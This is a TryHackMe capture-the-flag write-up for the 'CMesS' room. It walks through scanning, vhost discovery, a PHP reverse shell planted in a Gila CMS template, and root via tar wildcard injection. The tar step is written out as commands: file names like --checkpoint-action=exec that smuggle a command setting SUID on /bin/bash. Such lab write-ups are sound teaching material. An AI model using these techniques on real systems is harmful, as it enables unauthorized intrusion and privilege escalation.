💻
crackcat @ studying
  • 🏠Home
  • 📑Infographics
  • 🛠️How Stuff Works
    • Buffer Overflow - Explained
    • Embedded Firmware Extraction
  • Proxmox+Packer+Terraform+Ansible
  • 📒TryHackMe Write-Ups
    • 📵Mr. Robot
    • 🔗Binex
    • *️CMesS
    • 🏛️Olympus
    • 🧑‍💻UltraTech
    • 🧠Brainpan
  • ⚙️CVE
    • CVE-2019-17571 RCE PoC
    • CVE-2022-45962 Postauth SQLI
  • 🏴CTF Challenges
    • BugBase - RaaS
  • 🏢AllEndEvent
    • Introduction
    • Chapter I
    • Chapter II
    • Chapter III
Powered by GitBook
On this page
  • Reconnaissance
  • Service Enumeration
  • Initial Access
  • Privilege Escalation
  • Mitigations

Was this helpful?

  1. TryHackMe Write-Ups

CMesS

Discovering a virtual host that leads to a compromised CMS with subsequent sudo privesc.

PreviousBinexNextOlympus

Last updated 2 years ago

Was this helpful?

Room

CMesS

OS

Level

Medium

Link

Reconnaissance

After booting up the target and adding cmess.thm to the /etc/hosts we find two open ports with our portscanner of trust:

Following up on that with a more verbose nmap scan we can quickly rule out ssh as a point of entry - which leaves us with a single web port.

sudo nmap -A -p22,80 --script=default,vuln cmess.thm
PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
[REDACTED for brevity]

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /blog/: Blog
|   /admin/: Possible admin folder
|   /admin/admin/: Possible admin folder

[REDACTED for brevity]

|   /login/: Login page
|   /robots.txt: Robots file

[REDACTED for brevity]

|   /admin/environment.xml: Moodle files
|   /0/: Potentially interesting folder
|   /1/: Potentially interesting folder
|   /author/: Potentially interesting folder
|   /index/: Potentially interesting folder
|_  /search/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=cmess.thm
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://cmess.thm:80/
|     Form id: 
|_    Form action: http://cmess.thm/
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
| vulners: 
|   cpe:/a:apache:http_server:2.4.18: 
|     	CVE-2022-31813	7.5	https://vulners.com/cve/CVE-2022-31813

[REDACTED for brevity]

|     	CVE-2016-8612	3.3	https://vulners.com/cve/CVE-2016-8612
|_    	PACKETSTORM:152441	0.0	https://vulners.com/packetstorm/PACKETSTORM:152441	*EXPLOIT*
|_http-generator: Gila CMS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   39.50 ms 10.9.0.1
2   40.42 ms cmess.thm (10.10.25.197)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 336.25 seconds

It appears that we've got a webserver running on port 80 hosting a CMS called GilaCMS.

Service Enumeration

Starting off with some manual enumeration, http://cmess.thm does not seem to contain much. We do find a reference to the CMS creators and a single "Hello World" post but that's about it. Running gobuster yields quite a few routes though:

gobuster dir -w /usr/share/wordlists/dirb/common.txt  -u http://cmess.thm/
/.hta                 (Status: 403) [Size: 274]
/.htaccess            (Status: 403) [Size: 274]
/.htpasswd            (Status: 403) [Size: 274]
/0                    (Status: 200) [Size: 3851]
/01                   (Status: 200) [Size: 4078]
/1                    (Status: 200) [Size: 4078]
/1x1                  (Status: 200) [Size: 4078]
/about                (Status: 200) [Size: 3353]
/About                (Status: 200) [Size: 3339]
/admin                (Status: 200) [Size: 1580]
/api                  (Status: 200) [Size: 0]   
/assets               (Status: 301) [Size: 318] [--> http://cmess.thm/assets/?url=assets]
/author               (Status: 200) [Size: 3590]                                         
/blog                 (Status: 200) [Size: 3851]                                         
/category             (Status: 200) [Size: 3862]                                         
/cm                   (Status: 500) [Size: 0]                                            
/feed                 (Status: 200) [Size: 735]                                          
/fm                   (Status: 200) [Size: 0]                                            
/index                (Status: 200) [Size: 3851]                                         
/Index                (Status: 200) [Size: 3851]                                         
/lib                  (Status: 301) [Size: 312] [--> http://cmess.thm/lib/?url=lib]      
/log                  (Status: 301) [Size: 312] [--> http://cmess.thm/log/?url=log]      
/login                (Status: 200) [Size: 1580]                                         
/robots.txt           (Status: 200) [Size: 65]                                           
/search               (Status: 200) [Size: 3851]                                         
/Search               (Status: 200) [Size: 3851]                                         
/server-status        (Status: 403) [Size: 274]                                          
/sites                (Status: 301) [Size: 316] [--> http://cmess.thm/sites/?url=sites]  
/src                  (Status: 301) [Size: 312] [--> http://cmess.thm/src/?url=src]      
/tag                  (Status: 200) [Size: 3874]                                         
/tags                 (Status: 200) [Size: 3139]                                         
/themes               (Status: 301) [Size: 318] [--> http://cmess.thm/themes/?url=themes]
/tmp                  (Status: 301) [Size: 312] [--> http://cmess.thm/tmp/?url=tmp]      

Amongst some forbidden and uninteresting paths, we do find a login panel at /admin/. Since the room description on TryHackMe states that "no brute forcing is required" one of the first things we can try is to google for default credentials.

However, so far we've not been able to reliable discover the exact version of the CMS and after modifying the exploit for our linux target it does not appear to work.

As part of more enumeration we can also test for subdomains or rather virtual hosts (vhosts) on the target using wfuzz:

wfuzz -c -u http://cmess.thm -H "Host: FUZZ.cmess.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 290
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://cmess.thm/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                             
=====================================================================

000000019:   200        30 L     104 W      934 Ch      "dev"                                               

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

So there appears to be something different at: dev.cmess.thm. Adding this to the /etc/hosts we can access the development log:

We found credentials for the andre user.

Initial Access

Using these credentials on the admin panel we discovered earlier we are now authorized:

Reloading any page on http://cmess.thm will spawn us a shell in our listener as the www-data user.

Privilege Escalation

As www-data we unfortunately don't have sudo permissions nor access to other users home directories. However, we can see that the user andre exists and while looking for scheduled jobs on the machine we also find an interesting cronjob:

In order to abuse that cronjob we'll have to become andre first though. After looking at running processes and SUID binaries we come across an interesting file with very lax permissions:

We were lucky that this file wasn't hidden very well but otherwise a script such as linpeas or a special find would have done the work for us.

cd /home/andre/backup
touch ./--checkpoint=1
touch ./--checkpoint-action=exec=bash\ exec.sh
echo chmod +s /bin/bash > exec.sh
chmod +x exec.sh

We saw the */2 in the crontab which means that the job will run once every 2 minutes. So after waiting a short period of time, we should be able to see that the permissions of /bin/bash have been altered:

Now we simply execute /bin/bash with the -p flag (to disable the privilege squashing) and gain root access:

Submit the final flag and enjoy root.

Mitigations

Although these challenges aren't aimed at being perfectly realistic, it's always interesting to enumerate the weaknesses that led to the full compromise of the system. So here's what i think were the main issues that would need to be addressed:

  • Accessible development server -> this should most likely be an internal server and even then at least be secured

  • Cleartext depiction of sensitive information -> although this goes together with the first point, sensitive information, especially passwords should not be sent or stored in cleartext (if at all)

  • Admin access on the CMS -> if not absolutely necessary, andre should not be an administrator on the CMS, i.e. apply principle of least privilege

  • Unsafe permissions -> backup files should not be readable by everyone and scheduled tasks should only run with the least required privileges

Linux

Not having found any, whilst on google, we can also search for known vulnerabilities (utilizing searchsploit as well). We discover a few exploits that require authentication and .

From here on we could attempt to use an exploit or, and that seems a bit easier, just modify one of the template pages (e.g. the footer.php) and inject a php reverse shell ().

Now as andre we have access to the backup directory in our home folder and can exploit the cronjob. For those who haven't seen this tar wildcard exploitation before: a mix of and google will teach you that we can create files with names such as --checkpoint=1 that will be caught by the wildcard (*) and then interpreted as actual flags to the tar command. Since the command runs as root we can (for example) simply craft flags that will add the SUID bit to /bin/bash for easy privilege escalation. Here are the commands:

📒
*️
one unauthenticated remote code execution for Gila CMS < 2.0.0
such as this one
GTFOBins
🐧
https://tryhackme.com/room/cmess
Output of portcat
Found cleartext credentials in a development log
Access to the GilaCMS admin panel
Initial access as www-data via php reverse shell
A scheduled job that backs up andres folder with permissions of root
Found cleartext password in backup file with read permissions for everyone
Exploitation of tar with wildcard
Final root flag